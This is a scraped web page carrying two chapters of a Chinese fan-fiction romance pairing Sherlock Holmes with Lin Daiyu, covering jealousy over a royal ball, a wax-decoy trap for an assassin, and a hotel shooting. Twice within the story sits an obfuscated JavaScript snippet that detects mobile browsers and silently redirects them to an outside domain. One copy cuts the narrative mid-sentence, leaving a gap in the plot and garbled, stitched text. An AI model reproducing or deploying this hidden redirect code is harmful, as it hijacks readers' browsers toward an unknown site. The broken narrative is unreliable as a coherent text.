黛玉思忖,这表情并不像是要参加舞会的样子,反倒有些兴师问罪的意思,难道自己出席舞会影响到了他?回忆涌上心头,她想起当年自己离开伦敦前,福尔摩斯和她争吵时也是用这种态度对待自己。两年过去了,一点长进都没有。黛玉顿时感到有些无语。 “听说你要参加舞会?”福尔摩斯向来不会直来直去,而是转弯抹角说,“我劝你不要去。” 听见福尔摩斯并没有那种意思,黛玉有些失望,但也在她情理之中,于是黛玉冷冷回答:“这是女王的邀请,我不可能不去。” 福尔摩斯口气有些霸道,说:"我可以让女王取消你的舞会行程。" 他相信自己找回失踪的王冠后,女王会答应自己这个有些无礼的要求——只要黛玉不和斯坦莱那个混蛋跳舞,福尔摩斯就不在乎女王怎么看。 “福尔摩斯先生。”黛玉哑然失笑,“你不觉得你这个决定很冒犯女王?” 福尔摩斯没想到黛玉已经开始称呼他为先生,动作顿了一下,才缓缓摇头说:“如果你不愿意去,我可以告知女王你不出席的理由。” 听福尔摩斯的语气,违抗女王的命令简单得仿佛就像吃一颗方糖。 “不,福尔摩斯.夏洛克。”黛玉摇头,正色道,“你什么都不懂,我想去参加舞会,你没有权利替我做主。” 福尔摩斯眯起眼睛,说:“我没想到你会愿意去舞会,我记得几年前你拒绝了邻居的舞会邀请。”“那是因为当时我初来乍到,不敢擅自出行。”林黛玉冷冷说,“你到现在都还记得。”看着福尔摩斯笨拙地替自己无法出席舞会找理由,林黛玉一时不知道福尔摩斯的来意。 福尔摩斯抬手整理衣领,将衣领竖起来,看也不看黛玉,咬牙切齿地说:“那么我祝你在舞会上玩得开心。”他嘴上虽然这么说,但心里却好像有个小人儿在呐喊:“快选我快选我快选我!”但福尔摩斯不可能说出来,这时有一种从未感受过的别样的情绪在心头产生。 福尔摩斯不知道如何描述自己现在的心情,有点像是在小时候玩游戏时,他的哥哥麦克罗夫特在游戏中赢了他而受到周围人的赞许,而自己只是孤零零地在旁边观望。他吃醋了。 福尔摩斯眼前已经开始浮现出黛玉和斯坦莱在舞池上翩翩起舞的画面。“谢谢你的祝福。”黛玉冷淡地回答,“我相信我将会度过无比愉快的一晚。” 看着黛玉表面上云淡风轻的模样,福尔摩斯很想套黛玉的话——为什么斯坦莱就可以参加舞会,而他不行。但在这方面,福尔摩斯却一句话都套不出来。“那么林小姐,后会有期。”福尔摩斯转身快速离开,只留下黛玉在门口凌乱。 黛玉没有理解福尔摩斯的行为,他在听说自己参加舞 会后,匆匆赶来就是为了劝说自己不要出席舞会,这让黛玉百思不得其解。 福尔摩斯走出旅馆,他第一次感觉到自己的心在快速下沉,仿佛有一股强大的地心引力把他的心脏往下拽。他不知道自己是怎么回到贝克街的,但眼下有件事情成功转移了他的注意力。福尔摩斯嘱咐首相帮忙的事情已经完成,内务大臣正命人推着和真人大小一样高的雕塑到贝克街221B门口。 “我没想到会这么快。”福尔摩斯感到有些惊讶。 内务大臣回答,说:“这是首相召集了十几个雕塑家来同时赶进度,所以才这么快。”这座雕塑被一张宽大的布掩盖着,福尔摩斯压下心中的情绪,谢过内务大臣。内务大臣不理解福尔摩斯为何要一座雕塑——这似乎和失踪的王冠并没有关系。 “啊哈。”福尔摩斯夸张地说,想把心中沉闷的情绪排解出来,“这是案件计划的一部分,你不用操心。” “对了,我需要你再帮一个忙。”福尔摩斯似乎是想到了什么,“我需要你把我接手这个案子的消息传出去,最好让那些人知道。” 内务大臣不理解,说:“福尔摩斯先生,这太危险了,如果他们知道你接手这个案子,绝对会对你下手,因为你实在是太聪明,你会坏了他们的事情。”“如果想尽快破案,我只能以身入局,亲自成为诱饵引他们上钩。”福尔摩斯坚决要求。 内务大臣见福尔摩斯执意如此,只得答应。 送走一头雾水的内务大臣后,福尔摩斯开始呆在屋内给每一扇窗换上新买来的帘子。他摆弄着一地的窗帘钩子,准备串起来。福尔摩斯吹起悠然的口哨,一副很开心的样子。当然是装出来的。 一种古怪的情绪让福尔摩斯无法集中注意力在钩子上,这情绪像一双手不停地在脑海里拨弄着他的神经。 不知道为什么,他很后悔没有把斯坦莱揍一顿,这样斯坦莱住院了就可以无法参加林黛玉的舞会。 突然福尔摩斯感觉手指尖一阵刺痛——原来是他的失神导致钩子刺痛了自己的手指。 “该死的。”福尔摩斯痛骂了一句。 他起身,环顾四周乱糟糟的屋子——到处摆放的化学试剂和试管,横立在地上的好几张椅子,以及四处飘散的案卷。 如果被哈德森太太看到这场面,他绝对又被要唠叨好几天。 这时孤独感油然而生,福尔摩斯才想起他自己早已独自在贝克街居住了一段时间,连华生什么时候、哪一天搬出去他都不知道。 更不用说黛玉离开贝克街的时候。 他怎么变得有点多愁善感? 福尔摩斯感觉自己有些可笑,他才不像林黛玉,面对一点小事就及物思人,见景生情。“好了。”福尔摩斯大声地告诉自己,“我现在得把这些帘子安装起来。” 他来到房间,站立在玻璃窗前,他的身子很高,踮起脚尖就可以伸长手臂触碰到上面的窗沿。装好帘子后,福尔摩斯拍了拍自己脏兮兮的手掌,充实的体力劳动让他暂时把低落的情绪抛到脑后。福尔摩斯来到自己的房间,掀开雕塑上的纱布,在看见雕塑的一瞬间,他恍惚了一下,以为自己是在照镜子。在福尔摩斯面前的雕塑正是自己,他看见自己栩栩如生的雕塑蜡像正在伏案思考写着什么东西。由于时间匆忙,雕塑很多细节并不完善,但大体上却可以让人一眼就认出是福尔摩斯。福尔摩斯把雕塑移动到窗边的桌子上,拉下窗帘。 他已经完成了计划的一部分。 在搞定这些东西后,天已经黑下来,福尔摩斯疲惫地拉开灯,街道上传来男男女女的嬉笑声,这让福尔摩斯感到更加心烦意乱。才刚从工作状态出来不久,有关黛玉的念头又再一次侵入福尔摩斯的脑海中——估计现在林黛玉正和斯坦莱欢乐地挑选着礼服。就在福尔摩斯沉浸在自己的想象中,华生突然闯进来,第一眼就看见福尔摩斯疲惫的依靠在沙发上。 “福尔摩斯,你竟然还有心情坐在这里。”华生快步走到福尔摩斯面前,“我刚才刚从自己的诊所走出来,就看见了斯坦莱。”福尔摩斯已经猜到华生下一句要说的是什么,但现在的他懒得分辩一句。华生恨铁不成钢地看着福尔摩斯,说:“你知道斯坦莱和我说了什么吗?他说——"”“他说他将要和林黛玉小姐一起参加女王的舞会。”福尔摩斯接过华生的话头。 “原来你知道!”华生看着福尔摩斯无动于衷的样子,不敢相信地摇头,“福尔摩斯,难道你要眼睁睁地看着斯坦莱和林黛玉小姐一起出席舞会吗?”福尔摩斯摊手,说:“我又不在乎。” 华生伸手摇晃福尔摩斯,说:“你就是在嘴硬。” 福尔摩斯不想承认。 “如果你不在乎,那你就把《绿珠小姐》的戏票给我吧,正好我的未婚妻对部戏剧感兴趣。”华生冷冷地说。 福尔摩斯只得第一次向华生坦诚,说:“好吧,亲爱的华生,我确实不愿意看到斯坦莱和林小姐一起参加舞会。”“所以你得像一名战士行动起来!"华生拍了拍福尔摩斯的肩膀,“而不是坐在这里。”福尔摩斯却感到束手无策。 华生说:“你可以现在趁林黛玉小姐休息入睡前找她,明 明白白地告诉她你要和她一起参加舞会。”福尔摩斯没有吭声。 这时楼上传来一阵脚步声,是哈德森太太下楼。 “请原谅,你们争吵的声音实在是太大声,而且我听到了不少内容。”哈德森太太托着一盘的饼干走近他们。“不好意思,哈德森太太,是我太激动了,我没想到会吵闹到您。”华生非常抱歉地说。福尔摩斯感觉脸上一阵燥热,竟然有些结结巴巴,问道:“哈德森太太,请问您都听到了吗?”他的房东哈德森太太脸上露出笑容,说:“我虽然老了,但我的耳朵可没有比年轻时的要差。”福尔摩斯有些绝望地低头看着自己的鞋尖——除了华生,他不愿意再有别人知道这件事情,他感觉有些丢人。哈德森太太把饼干放在福尔摩斯面前,说:“我把这一盘饼干放在窗户,如果我没有及时收回来,会发生什么事情?” 华生不假思索回答:“那肯定是被 群鸽子吃掉了。”伦敦的天空最不缺的就是鸽子,这群鸽子们向来最喜欢集体行动,所到之处仿佛被掠夺过一般,寸草不生。哈德森太太继续说:“所以那个美丽的东方小姐就像一盘美味的饼干,如果你再迟疑不决,那么她很快就被邀请走了,轮不到你。”轮不到你。 福尔摩斯这才感觉有些着急。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806896|146649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 哈德森太太警告这两个人声音小些后,才重新回到楼上。 “华生,你今晚先在这里休息。”福尔摩斯看了看挂在墙上的钟,“现在时间已经很晚了,我明天再去找她。” 福尔摩斯知道这个点黛玉已经差不多入睡。华生也只好应下,却发现福尔摩斯又开始梳理案件。“你也早点休息。”华生知道自己无法劝阻工作狂福尔摩斯——福尔摩斯忙起来可以几天几夜不吃饭。 其实这一次福尔摩斯是想给自己找事情做,他发现只要自己空闲下来,黛玉和斯坦莱欢声笑语的画面就像病毒一样坚定不移地浮现在他眼前。 因此福尔摩斯只能继续投入探案工作来转移自己的注意力。 王冠失踪案卷上,福尔摩斯知道这些人都是亡命之徒,除了一部分被抓以外,剩下的还在外面游荡。首相已经派人在伦敦各个城门搜寻,所以这些人是不可能可以携带王冠出逃的。对于这种情况,福尔摩斯十分熟悉,他明白伦敦也就只有一些地方有容纳这些逃犯的藏身之处。为了搜寻线索,他将自己乔装打扮成老妇人的模样,拿起一根拐杖,颤颤巍巍地趁着夜色出了门。 深夜的伦敦静悄悄,街道上只有晦暗不明的路灯在闪烁,偶尔有几个脚步匆匆的行人路过街道,然后身子拐进漆黑的小巷,隐没在这夜色中。 林黛玉推开窗,感受着清爽的晚风拂过脸庞,抚慰了躁动不安的心灵。 有一辆车打破了街道上的寂静,车轮声压在马路上的碎石,发出簌簌声响,两道刺眼的车光由远处传来,像瞪着铜铃眼睛的怪物出现在伦敦街头。 车停在旅馆面前,黛玉低头望去,她认出来是警车,只见斯坦莱从车里出来,走进旅馆。 雪雁和紫鹃小心翼翼地替黛玉收拾东西——自从福尔摩斯来找她们的姑娘后,黛玉就一直坐在窗边看着窗外的风景,时不时叹息一声。 就在这时,门外又响起了敲门声。 雪雁并没有马上去开门,现在不是白天时间,她不会贸然在深夜开门。 黛玉也听到了敲门声,她知道是斯坦莱,但现在的她没有心思和斯坦莱交谈或见面——时间太晚了。“雪雁,去开门,就说我已经睡下了。”黛玉替雪雁找好了理由。 雪雁会意,应下后忙去开门。 看见是斯坦莱,她有些惊讶。 “不好意思,斯坦莱先生,我家姑娘已经睡下了。”雪雁开了个门缝,不让斯坦莱看见房间里面的情况。 斯坦莱脸上露出失望的表情,但随即立刻转变成迷人的笑容,说:“是我来的不是时候,我刚下夜班,我是从华生那里知道你们的地址,所以就匆忙赶来,没想到打扰到你们了。”雪雁问斯坦莱的来意。 斯坦莱脸上露出有些羞涩的表情,和他身上庄严肃穆的制服形成强烈反差,说:“我很高兴我能成为林小姐的舞伴,所以我希望林小姐可以帮我挑选一件帅气的礼服。”斯坦莱成为黛玉的舞伴,已经是在雪雁的意料之中。 只是雪雁感觉有些好笑,说:“斯坦莱先生,这是你自己的事情,你可以选一件你喜欢的礼服,何必要来问姑娘呢?”斯坦莱摇头,说:“我的喜好并不重要,重要的是你家姑娘喜欢我穿什么样的。“这句话在雪雁看来有些逾矩了,因此她绷起小脸,说:“我不知道,明儿我再去问问姑娘。”听出雪雁口气中的一丝不愉快,斯坦莱后知后觉,自己被喜悦冲昏了头脑,没有考虑到时间就匆匆赶来。 是他太激动了。 “为了和你家姑娘的礼服相配,请你告诉我你家姑娘穿什么颜色的礼服。”斯坦莱不死心,仍然厚着脸皮问。 雪雁思考一下,说:“我家姑娘喜欢以红色为主,我猜测大概率就是红色。” “多谢。”斯坦莱主动关上门,他打算一大早就起床去店里买红色的礼服。 雪雁回到黛玉身边,轻声说:“斯坦莱 先生接受了邀请,他愿意成为姑娘的舞伴,而且他还向我打听姑娘穿什么颜色的礼服,好让他的礼服与姑娘的礼服相配。” 林黛玉轻轻摇头,说:“难为他费心,只是我和他才认识几天,如此也太……” “姑娘,只是跳个舞而已。”雪雁说,“总比姑娘孤身一人参加舞会好,而且这几天相处下来,他也是个不错的人。”林黛玉只是感觉心中有闷闷的,但至少从好的方面来想,她成功实现女王的想法,没有让女王失望。她关上窗户,却不曾看见窗外不远处有人正驻足观看。福尔摩斯在路灯下站了一会,看见旅馆的灯光一点一点在熄灭,便知道他已经来晚了。 当然今晚只是顺便路过黛玉所处的旅馆,他最重要的目的是跟踪案件上参与抢夺王冠的人员之———西尔维亚斯。西尔维亚斯虽然在之前被抓了起来,但伦敦警局没有确凿的证据证明这件事情有他参与,因此后面又把他放了出去。福尔摩斯从案卷上知晓西尔维亚斯的容貌,以及平时出没的地点和时间,于是便走到了一个小巷处。因此对福尔摩斯来说,西尔维亚斯并不难找,他身材高大,肤色黝黑,浓密的胡子上是长长的鹰钩鼻。福尔摩斯目光锐利,在老斯特劳本齐的商店门口看见了他。 这是一家出卖加压气体枪的商店。 西尔维亚斯走进商店,福尔摩斯在商店门口耐心地等了一会,大约过了十分钟,他看见西尔维亚斯提着一把加压气体枪走出来。福尔摩斯明白西尔维亚斯绝对打算用这把枪往自己的脑袋射去。 就在这时,西尔维亚斯宽大的脚掌触碰到福尔摩斯的拐杖,福尔摩斯没有防备,拐杖从手中滑落,发出不合时宜的声音。夜晚安静得连一根针掉落在地上都可以听见,更不用说这么大一根拐杖。 原本就做贼心虚的西尔维亚斯感到十分不耐烦,他恶狠狠望向福尔摩斯,愤怒地瞪着他。 24、不服。 西尔维亚斯眯起眼睛打量者福尔摩斯看见的是一个弓腾驼背的老妇人,或许是体内的高大利血统激起了他不可多得的钟土风度,西尔维亚斯主动捡起拐杖,送给福尔摩斯说:“请注意,是我不小心。” 福尔摩斯的高超的打扮技术成功欺骗了这个人。 他看着西尔维亚斯竟然往贝克街的方向走去。 看来福尔摩斯猜得没错,这些人在听到福尔摩斯接手这个王冠失踪的案子后,第一反应就是想干掉福尔摩斯。 而且是打算用加压气体枪来射杀福尔摩斯。 福尔摩斯没有贸然跟上去,而是迈着轻松地步伐绕了远路,穿过小路回到自己的贝克街221B号。 …… 第二天,距离舞会还有两天,也意味着福尔摩斯和斯坦莱只剩下两天时间找回王冠。 福尔摩斯却十分轻松地在屋内享用着哈德森太太馈送的早餐——他从来不会主动做饭,准确来说,福尔摩斯的作息并不规律,有时忙起来一连几天只吃一顿饭也是常有的事情。因此做饭的任务大多数都落在华生上,只是华生已经离开贝克街一段时间,福尔摩斯只能可怜巴巴地蹭房东的饭。 就在福尔摩斯享受这不可多得的美味食物时,他抬头看见有人推开了门,是华生和斯坦莱疾步走进来。 “你们得赶紧关上门。”福尔摩斯看见斯坦莱只是把门掩上,跳出椅子,疾步关上门。 华生从来没有见过福尔摩斯如此紧张,自己也跟着紧张起来。 斯坦莱打趣福尔摩斯,说:“难道这鼎鼎大名的大侦探也有害怕的时候?” 福尔摩斯撇了一眼斯坦莱,他永远不会原谅斯坦莱,尤其是斯坦莱现在这股得意的劲让福尔摩斯如鲠在喉。 福尔摩斯很不满地瞪了华生一眼——他为何要把斯坦莱带到这里。 华生作为福尔摩斯朝夕相处的朋友,很明白福尔摩斯在想什么,忙解释说:“斯坦莱先生想和你交流案件,只是他不知道你作息时间,害怕打扰到你,所以才先来找我。”斯坦莱朝福尔摩斯耸耸肩。 “幸亏你没有穿上制服,否则你们两个刚才差点毁掉了我的计划。”福尔摩斯压低声音。 斯坦莱无所谓地说:“福尔摩斯,你也太紧张了,明明是我们先不知道你的计划,竟然反过来怪我们。” 福尔摩斯懒得和斯坦莱吵架。 华生注意到屋内的帘子多了起来,几乎每扇门,每扇窗户都挂上了帘子。 帘子很轻薄,华生看见书房里有个熟悉的身影——那身影分明就是福尔摩斯正在伏案思考写作。如果不是福尔摩斯在旁边,华生肯定会把书房里面的身影认成福尔摩斯。 看见华生脸上露出疑惑不解的神情,福尔摩斯轻笑了一声,指向书房的身影,说:“里面是我的蜡像。”华生这才走过去,掀起帘子,发现确实是一座蜡像。 “你为什么把这一座蜡像摆在这里?”华生被福尔摩斯搞糊涂了,难道福尔摩斯又多了一项收集蜡像的爱好? 福尔摩斯故作高深地回答,说:“等会你们就知道了。” 斯坦莱在一旁看见福尔摩斯疑惑的行为,双手抱胸,说:“请原谅我说话有点直接,我觉得这蜡像和找回王冠并没有什么关系。” “那是因为你愚蠢至极,所以你才看不懂这些关联。”福尔摩斯忍住自己往斯坦莱脸上给一个拳头的冲动。 福尔摩斯伸出手腕看了手表,邀请斯坦莱到他的房间去:“斯坦莱先生,如果你愿意,我可以到房间里给你看一看我的计划。” 华生看了看福尔摩斯,又看了看斯坦莱,生怕福尔摩斯将斯坦莱围堵在房间里把他揍一顿,于是也要求自己也跟了去。 福尔摩斯没有拒绝华生的请求,领着这两人到自己的房间。 福尔摩斯的房间十分宽敞,看起来像是打空了两个房间之间的通道,将两个房间连在一起。斯坦莱注意到在房间的角落,还有一扇隐蔽的门。 房间比华生想象中的整洁。 斯坦莱左顾右盼,最后才缓缓对福尔摩斯说:"福尔摩斯先生,请问你的计划在哪里。" “啊哈。”福尔摩斯拿下墙上挂着的两把花剑展示给斯坦莱,“你用这花剑打败我,我就告诉你的计划。”华生看出来福尔摩斯想借此好好教训斯坦莱一顿。 斯坦莱当然也明白福尔摩斯的小心思,他将脸凑过去,说:“福尔摩斯先生,请不要再做徒劳的挣扎了,不论你是否赢我,你也改变不了林小姐邀请我参加舞会的事实。”福尔摩斯不服。 但他还是刺激斯坦莱,说:“难道你害怕了吗?你可是一名年轻有为的警察。” “我怎么可能会害怕。”斯坦莱冷冷地回答,“我只是不想在这个事情上浪费时间,我们剩下的时间不多了。”福尔摩斯勾起嘴角,说:“相反,我们并没有在浪费时间,如果按照计划进行,我今天就可以拿回王冠。”斯坦莱只觉得福尔摩斯在吹牛,他不相信自己呆在这里,王冠就会主动上门。“所以,你现在要不要来和我试一试?”福尔摩斯已经有些跃跃欲试。 斯坦莱在警察学院并没有学习击剑这类运动,但他不会 承认自己不行,便找个理由,说:“这里太窄了,不适合击剑。” 福尔摩斯眼里闪过一丝恶作剧般的光芒——他的阴谋得逞了,于是福尔摩斯放下花剑,从容不迫地说:“既然你不愿意击剑,那么就来个拳击切磋切磋。”拳击在斯坦莱警校学习的科目上。 “好。”斯坦莱点头同意,知道自己再拒绝只会反衬自己像个懦夫。 华生横插在两人身边,阻止这两个人大打出手,压低声音,说:“你们不要再打了,我听到门外有脚步声。” 福尔摩斯有些失望地放下早已准备的拳头,说:“没想到他来得如此快。斯坦莱,你呆在这里,华生,你出去开门,我猜那个人已经到了。” 话音刚落,门外果然响起门铃声。 华生开门,便看见一个高大的身影粗暴地推门进入,西尔维亚斯无视华生的身影,径直走进客厅。 西尔维亚斯环顾四周,隔着一层帘子,他看见书房里的身影——那分明就是福尔摩斯的背影,于是西尔维亚斯随手拿起椅子就想猛地往书房里砸去。“早上好,西尔维亚斯。”福尔摩斯冷不丁的出现在他身后。 西尔维亚斯愣了一下,回头看见真正的福尔摩斯在自己的后头,而不是在前方的书房。 “你怎么会在这里?”西尔维亚斯难以置信地睁大眼睛,差点以为自己眼花看错人。 福尔摩斯微笑地上前掀起帘子,说:“恐怕你认错了,书房里的只是我的蜡像。” 西尔维亚斯这才发现自己上了福尔摩斯的当,他可是在贝克街外几乎蹲了一夜,没想到他隔着帘子看到的福尔摩斯竟然只是一个蜡像。 看着福尔摩斯得逞的模样,西尔维亚斯恨不得给他脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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噢,这不过是我手上的一张牌。”福尔摩斯轻松地说,“你的同伙——艾奇已经自首了,我现在对你们的王冠失踪案了如指掌,只是我还是缺最后 张牌,告诉我,王冠在哪里,你也不愿意被判二十 年的牢狱之灾吧。” 伯爵眯起眼睛,恶毒地说:“你以为只有你可以威胁我吗?福尔摩斯,听说你有一个东方女性朋友?”福尔摩斯感觉心被狠狠攥紧了一下,脸色也没有之前那么从容。 “哈哈。”伯爵眼里闪烁恶毒的光芒,说,“看来那个美丽的东方小姐是福尔摩斯先生的女朋友了。” “你们想做什么?”福尔摩斯有些沉不住气,他已经不在意伯爵说什么女朋友的称呼,他现在最关心的是伯爵是否在撒谎。伯爵懒洋洋地回答:“没做什么,我只是让我的朋友去认识认识她。”福尔摩斯克制语气,说:"我不相信你们会找到她。" “啊哈。”伯爵说,“大侦探,不是只有你会打听消息,我从街道小巷的那些孩子们知道她和你走得很近,所以才问一问。”福尔摩斯已经不太敢追问下去,伯爵似乎比自己想象中的要知道得多,在满是伦敦人的街头找到东方面容的女性并不是什么难事。“福尔摩斯,我们来做一个交易。”伯爵说,“你放弃这个案子,我就让你的小女朋友安全回来。”“我不相信她们会在你手上。”福尔摩斯开始套伯爵的话。 25、拥抱 清晨,林黛玉从梦中醒来,雪雁替她梳洗打扮后,黛玉推开窗,低头看着伦敦的街头。 难得的阳光撒落在街道上,路上仍然只有稀少的行人,黛玉的视线扫过整条街道——多亏她住在高处,伦敦的景色一览无余。 随即黛玉的目光落在一个人的身上,这个人依靠在路灯杆下,那个人身材魁梧,容貌丑陋。 女性生来的敏感让她的目光不由多停留在他身上几秒,虽然隔离了一条马路,黛玉还是注意到当这人一直在盯着自己,因为从她打开窗户的那刻,这个人就注意到了她。 那个丑陋的人似乎意识到黛玉正在看着自己,忙把头偏过去,不再直视黛玉所在的方向。 这样的行为让黛玉更加笃定这个人实在可疑。 她沉住气,又在窗边呆了一会,才回到自己的房间,命雪雁拿出出自己的小皮箱。 黛玉翻开一层又一层的衣物,终于找到压箱底的一把精致的左轮小型枪——这是很久以前福尔摩斯给她防身的。 福尔摩斯曾经在船上教她学习利用小型枪射击飞在甲板的海鸟。 虽然他们的船一直是沿着大陆航行,但没有特殊情况,他们是不会下船的,因此船上的日子是漫长又无聊。 所以除了捕鱼,福尔摩斯也只能以射击海鸟来取乐——顺便改善伙食。 黛玉拿起左轮小型枪,藏进袖口中。一旁的雪雁看见黛玉神色严肃,也不由感到紧张起来,轻声问黛玉发生了什么事情。 林黛玉向她们做了个“嘘”的手势,让她们不要惊慌。 黛玉又再一次悄悄往客房的窗外望去,她看见刚才那个凶恶的人已经消失在路灯下面。 她意识到那个人可能已经往旅馆走去。 “你们把头发盘起来。”黛玉略加思索,命令雪雁和紫鹃把一头黑发盘好后,然后再戴上宽沿帽子遮住头发。 黛玉知道她和丫鬟们的东方面容很容易在伦敦引起注意,所以只得尽量遮住身上的东方特征。她们并没有马上出房门,而是侧身隔着门听着外面的动静。果然过了一会,黛玉听到门外楼梯传来脚步声。 “我是来找你们旅馆里居住的东方女孩。"一个粗声粗气地声音传来,“所以请告诉我她在哪里?”“先生,很抱歉,我不知道。”旅馆侍女拒绝了那个人的打听。 接着黛玉听见那个人威胁侍女,说:“你知道你要得罪了什么人?如果我愿意,我可以让你立刻消失在伦敦——无声无息的消失。” 侍女的声音这才发抖起来,弱弱地说:“先生,我真的不知道……”话还没有说完,黛玉就听见盘子跌落在地上的破碎声,以及侍女的尖叫声。最后她们听见侍女倒在地上发出沉闷的声响。 雪雁已经开始害怕得发抖。 楼上的动静似乎吸引一些客人打开门。 “打扰了。”那个粗声粗气的声音竟然变得彬彬有礼,“这个可怜侍女似乎因为低血糖晕倒了,你们快把她抬下去吧。” 有人听话照做把侍女抬了下去。 “对了,你们有见过住在这个旅馆的东方来的女孩吗?”那个人语气一转,开始打探黛玉的消息。 不知情的住客指向黛玉经常出现的地方——美丽的东方面容总是能让他们印象深刻,自然而然也让他们记住黛玉的出现地方。“多谢。”那个人的声音是藏不住的喜悦。 黛玉握紧了枪,她听见那个人似乎已经开始一扇一扇地敲开旅馆的房间门,脚步离自己越来越近。 “请问你们有见到一个东方女孩吗?”那个人正慢慢向黛玉的房间靠近。 那个人的语气是如此的有礼貌,让其他人看不出他有任何坏心思,对于没有人的房间,那个人也可以使用钥匙打开门——这钥匙正是从侍女身上拿到的。 “好,等下那个人进来,我先开这把枪击中他的腿,然后你们以最快的速度跑出去。”黛玉小声提醒雪雁和紫鹃。 在航行的日子,福尔摩斯教会黛玉不少射击的技巧,黛玉屏住呼吸,举起小型枪,盯着门口,等侯那个人进来的一刹那。 与此同时,福尔摩斯正赶往黛玉旅馆的路上。 他已经把不知好歹的伯爵先生交给华生和斯坦莱,华生和斯坦莱曾经都是军人,两个人看好一个斯坦莱还是绰绰有余的。 福尔摩斯心中从来没有那么惊慌过,他最担心的事情还是发生了——福尔摩斯知道以他和黛玉之间的关系,很容易被不少不法分子盯上。 福尔摩斯以探案破案出名,因此在破案过程中也很容易得罪很多不法分子,但福尔摩斯从来不在乎这些人,因为自己多年的格斗、射击和击剑等防身经验足以让他保护好自己。 即使那些人找上和自己关系比较亲近的华生报复,他们也不一定得逞,华生可是上过战场的军人。而关系再远一些,他的哥哥麦克罗夫特是政府工作人员,不法分子不会愚蠢到对政府人员下手报仇。所以如果不法分子为了给福尔摩斯一个教训,那么看起来柔弱的林黛玉小姐就是他们报复的最好的对象。 这也是福尔摩斯不愿意看到黛玉回到伦敦的原因——他得罪了太多人,而黛玉又频频出入贝克 街,自然让邻居们揣测黛玉和福尔摩斯之间的关系。 福尔摩斯一路飞快地驰向旅馆,脑海仍然不停地思考,心中懊悔的情绪油然而生,他考虑到伯爵先生会有同伙,但他却没有想到伯爵先生竟然会让同伙去找黛玉的麻烦。他绝对不会放过这些人。 福尔摩斯狠狠地锤了自己的大腿。 经过漫长的路程——尽管这路程平时只有几十分钟,但今天福尔摩斯却觉得无比的漫长,甚至比自己从东方航行回伦敦还要漫长,而且十分煎熬,因为他害怕自己会接收到发生在黛玉身上的不好的消 息。 和黛玉的安危相比,他自己是否被邀请参加舞会已经不重要了。 福尔摩斯才下了马车,就听见旅馆里响起一阵巨大的枪响,有那么一瞬间,福尔摩斯的头脑变得空白,侦探多年来的直觉告诉他这枪声一定和黛玉有关系。 他知道伯爵先生在商店买下一把加压气体枪,而那把加压气体枪如今在伯爵先生身上,所以福尔摩斯冷静下来安慰自己——这枪声不一定和黛玉有关。 福尔摩斯走进旅馆,旅馆里面一阵骚乱,楼梯上是络绎不绝的砰砰脚步声。 他先是看见紫鹃从楼上跑下来,接着后面是雪雁,雪雁正拉着黛玉的手跑下来。 福尔摩斯看见黛玉的左手握着小枪,他认出来这是他送给黛玉的枪,他低头又看见她们的鞋子上有不少血迹。 福尔摩斯一瞬间就明白刚才发生了什么事情,悬着的心终于平稳落地——她们安全了。 “福尔摩斯先生!”雪雁最先看见人群中的福尔摩斯——他毕竟不容易被忽视,福尔摩斯的身高在人群中向来都是鹤立鸡群的存在。 福尔摩斯顾不上周围的人,吵闹的人群很容易把黛玉推倒——尽管有紫鹃和雪雁在努力地保护黛玉不被挤到,但到底都是十几岁的姑娘们,怎么能对抗这些拥挤的成年人。于是福尔摩斯没有多加思索,他伸出宽大的臂膀,将黛玉揽入怀中,搂住她不被人群挤压。 黛玉把头埋入福尔摩斯结实的胸膛上,握着小枪的那一只手还在颤抖。 她虽然使用过小枪练习射击海鸟,但这一次是她第一次使用枪来射击人,这让她感到惊魂未定。但黛玉并不后悔做出这样的行为,相反她还感到有些幸运,她成功地使用枪来保护自己和自己的丫鬟们。只是黛玉还是没太能接受刚才血淋淋的场面。 劫后余生的喜悦让黛玉忍不住落泪——刚才她实在是太害怕了,尤其是听见那个人一扇一扇打开门的那时刻,看着危险在慢慢临近,一股强大的恐怖的感觉让她喘不过气。在拥抱福尔摩斯的那一刻,她感觉到自己仿佛和外界隔绝,吵闹的人群声音似乎已经消失,取而代之的是宁静祥和。 福尔摩斯身上的味道并不难闻,有一股淡淡的烟草香,烟草香和黛玉在伦敦街头闻到的二手烟完全不同。这味道香气醇厚,辛辣带一点点淡淡的苦涩,黛玉怀疑福尔摩斯前几天又在做化学实验了,她闻到若有若无的消毒味道。这时黛玉感觉到有一股暖意从脚下蔓延到全身——这是福尔摩斯给她带来的安全感。 对于一个身处异国他乡的女孩来说,这种安全感更加难得可贵。 黛玉突然意识到自己不能再流泪了,因为她发现自己的泪水早已沾湿了福尔摩斯的衬衫,而她泪水打湿的部分正好就在福尔摩斯的胸前,在泪水的浸适下,他的胸部轮廓清晰可见。福尔摩斯虽然看起来高大消瘦,但是胸部确实十分结实有肉感,黛玉甚至能感觉到福尔摩斯的胸膛在起伏。 忽而黛玉感觉脸上一阵燥热——她之前可没有如此亲密地触碰男子的身体。 她轻轻地推了一下福尔摩斯,想离开福尔摩斯的怀抱,但她感觉福尔摩斯将自己搂得更紧了。 “不要害怕。”福尔摩斯的声音从头顶上传来。 不知道为什么,黛玉敏感地察觉到福尔摩斯的胸膛起伏越来越强烈,紧接着是福尔摩斯猛烈的心跳,如击鼓般在自己的耳畔咚咚响。 在拥抱黛玉时,福尔摩斯感觉到黛玉的身子在发抖,这让他忍不住搂紧了一些。 很快福尔摩斯感觉到自己胸前一阵冰凉,但很快这冰凉却消散去,取而代之的滚烫的肌肤的触碰。 